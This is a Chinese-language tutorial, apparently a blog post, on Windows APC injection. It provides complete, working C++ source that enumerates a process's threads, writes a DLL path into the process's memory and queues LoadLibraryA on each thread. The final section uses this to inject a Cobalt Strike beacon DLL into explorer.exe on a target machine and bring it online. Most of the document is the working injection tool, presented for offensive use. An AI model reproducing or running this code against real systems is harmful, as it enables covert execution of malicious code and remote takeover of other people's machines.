什么是APC

APC 是一个简称,全称为Asynchronous Procedure Call,叫异步过程调用,是指函数在特定线程中被异步执行,在操作系统中,APC是一种并发机制。

MSDN解释为:

相关函数

QueueUserApc:函数作用,添加制定的异步函数调用(回调函数)到执行的线程的APC队列中

APCproc:函数作用: 回调函数的写法.

核心函数

QueueUserAPC

DWORD QueueUserAPC(
PAPCFUNCpfnAPC, // APC function
HANDLEhThread, // handle to thread
ULONG_PTRdwData // APC function parameter
);

参数1表示执行函数的地址,当开始执行该APC的时候,程序会跳转到该函数地址处来执行。

参数2表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT 访问权限。

参数3表示传递给执行函数的参数,与远线程注入类似,如果QueueUserAPC 的第一个参数为LoadLibraryA,第三个参数设置的是dll路径即可完成dll注入。

实现原理

往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC

介绍一下应用程序的APC

APC是往线程中插入一个回调函数,但是用的APC调用这个回调函数是有条件的.在Msdn的写法如下

上面说到要要使用SleepEx,signalObjectAndWait.....等等这些函数才会触发。

这就有了APC注入的条件:

1.必须是多线程环境下

2.注入的程序必须会调用上面的那些同步对象.

注入方法原理

1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断

2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数

3.我们利用QueueUserApc,往这个队列中插入一个回调

4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去

使用方法

1.利用快照枚举所有的线程

2.写入远程内存,写入的是Dll的路径

3.插入我们的DLL即可

实现过程

编写一个根据进程名获取pid的函数,然后根据PID获取所有的线程ID,这里我就将两个函数集合在一起,通过自己输入PID来获取指定进程的线程并写入数组

//列出指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
    // 申请空间
    DWORD dwThreadIdListLength = 0;
    DWORD dwThreadIdListMaxCount = 2000;
    LPDWORD pThreadIdList = NULL;
    HANDLE hThreadSnap = INVALID_HANDLE_VALUE;

    pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pThreadIdList == NULL)
    {
        return FALSE;
    }

    RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));

    THREADENTRY32 th32 = { 0 };

    // 拍摄快照
    hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);

    if (hThreadSnap == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }

    // 结构的大小
    th32.dwSize = sizeof(THREADENTRY32);

    // 遍历所有THREADENTRY32结构, 按顺序填入数组

    BOOL bRet = Thread32First(hThreadSnap, &th32);
    while (bRet)
    {
        if (th32.th32OwnerProcessID == th32ProcessID)
        {
            if (dwThreadIdListLength >= dwThreadIdListMaxCount)
            {
                break;
            }
            pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
        }
        bRet = Thread32Next(hThreadSnap, &th32);
    }

    *pThreadIdListLength = dwThreadIdListLength;
    *ppThreadIdList = pThreadIdList;

    return TRUE;
}

然后是apc注入的主函数,首先使用VirtualAllocEx远程申请内存

BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
    // 申请内存

    PVOID lpAddr = NULL;
    SIZE_T page_size = 4096;

    lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (lpAddr == NULL)
    {
        ShowError("VirtualAllocEx - Error\n\n");
        VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
        CloseHandle(hProcess);
        return FALSE;
    }
    // 把Dll的路径复制到内存中
    if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
    {
        ShowError("WriteProcessMemory - Error\n\n");
        VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
        CloseHandle(hProcess);
        return FALSE;
    }

    // 获得LoadLibraryA的地址
    PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");

    // 遍历线程, 插入APC
    float fail = 0;
    for (int i = dwThreadIdListLength - 1; i >= 0; i--)
    {
        // 打开线程
        HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
        if (hThread)
        {
            // 插入APC
            if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
            {
                fail++;
            }
            // 关闭线程句柄
            ::CloseHandle(hThread);
            hThread = NULL;
        }
    }

使用WriteProcessMemory把dll路径写入内存

::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)

获取LoadLibraryA的地址

PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");

便利线程并插入APC,这里定义一个fail并进行判断,如果QueueUserAPC返回的值为NULL则线程遍历失败,fail的值就+1

for (int i = dwThreadIdListLength - 1; i >= 0; i--)
    {
        // 打开线程
        HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
        if (hThread)
        {
            // 插入APC
            if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
            {
                fail++;
            }
        }
    }

主函数,定义dll地址

strcpy_s(wzDllFullPath, "加载要注入的dll的路径");

使用OpenProcess打开句柄

HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);

调用前面写好的APCInject函数实现APC注入

if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
    {
        printf("Failed to inject DLL\n");
        return FALSE;
    }

采用手动输入的方式,通过cin >> ulProcessID将接收到的参数赋给ulProcessID

利用此方法上线CS

完整代码

// inject3.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <iostream>
#include<Windows.h>
#include<TlHelp32.h>

using namespace std;

void ShowError(const char* pszText)
{
    char szError[MAX_PATH] = { 0 };
    ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
    ::MessageBox(NULL, szError, "ERROR", MB_OK);
}


//列出指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
    // 申请空间
    DWORD dwThreadIdListLength = 0;
    DWORD dwThreadIdListMaxCount = 2000;
    LPDWORD pThreadIdList = NULL;
    HANDLE hThreadSnap = INVALID_HANDLE_VALUE;

    pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pThreadIdList == NULL)
    {
        return FALSE;
    }

    RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));

    THREADENTRY32 th32 = { 0 };

    // 拍摄快照
    hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);

    if (hThreadSnap == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }

    // 结构的大小
    th32.dwSize = sizeof(THREADENTRY32);

    //遍历所有THREADENTRY32结构, 按顺序填入数组

    BOOL bRet = Thread32First(hThreadSnap, &th32);
    while (bRet)
    {
        if (th32.th32OwnerProcessID == th32ProcessID)
        {
            if (dwThreadIdListLength >= dwThreadIdListMaxCount)
            {
                break;
            }
            pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
        }
        bRet = Thread32Next(hThreadSnap, &th32);
    }

    *pThreadIdListLength = dwThreadIdListLength;
    *ppThreadIdList = pThreadIdList;

    return TRUE;
}
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
    // 申请内存

    PVOID lpAddr = NULL;
    SIZE_T page_size = 4096;

    lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (lpAddr == NULL)
    {
        ShowError("VirtualAllocEx - Error\n\n");
        VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
        CloseHandle(hProcess);
        return FALSE;
    }
    // 把Dll的路径复制到内存中
    if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
    {
        ShowError("WriteProcessMemory - Error\n\n");
        VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
        CloseHandle(hProcess);
        return FALSE;
    }

    // 获得LoadLibraryA的地址
    PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");

    // 遍历线程, 插入APC
    float fail = 0;
    for (int i = dwThreadIdListLength - 1; i >= 0; i--)
    {
        // 打开线程
        HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
        if (hThread)
        {
            // 插入APC
            if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
            {
                fail++;
            }
            // 关闭线程句柄
            ::CloseHandle(hThread);
            hThread = NULL;
        }
    }

    printf("Total Thread: %d\n", dwThreadIdListLength);
    printf("Total Failed: %d\n", (int)fail);

    if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
    {
        printf("Success to Inject APC\n");
        return TRUE;
    }
    else
    {
        printf("Inject may be failed\n");
        return FALSE;
    }
}
int main()
{
    ULONG32 ulProcessID = 0;
    printf("Input the Process ID:");
    cin >> ulProcessID;
    CHAR wzDllFullPath[MAX_PATH] = { 0 };
    LPDWORD pThreadIdList = NULL;
    DWORD dwThreadIdListLength = 0;

#ifndef _WIN64
    strcpy_s(wzDllFullPath, "加载要注入的dll的路径");
#else // _WIN64
    strcpy_s(wzDllFullPath, "加载要注入的dll的路径");
#endif
    if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
    {
        printf("Can not list the threads\n");
        exit(0);
    }
    //打开句柄
    HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);

    if (hProcess == NULL)
    {
        printf("Failed to open Process\n");
        return FALSE;
    }

    //注入
    if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
    {
        printf("Failed to inject DLL\n");
        return FALSE;
    }
    return 0;
}

上线cs

首先CS建立监听,生成一个恶意dll文件

在目标机上运行编译好的exe文件,并输入要注入进程的PID,这里我使用explorer.exe测试

编译,输入PID

查看CS,已经成功上线,且进程也加载了beacon.dll.

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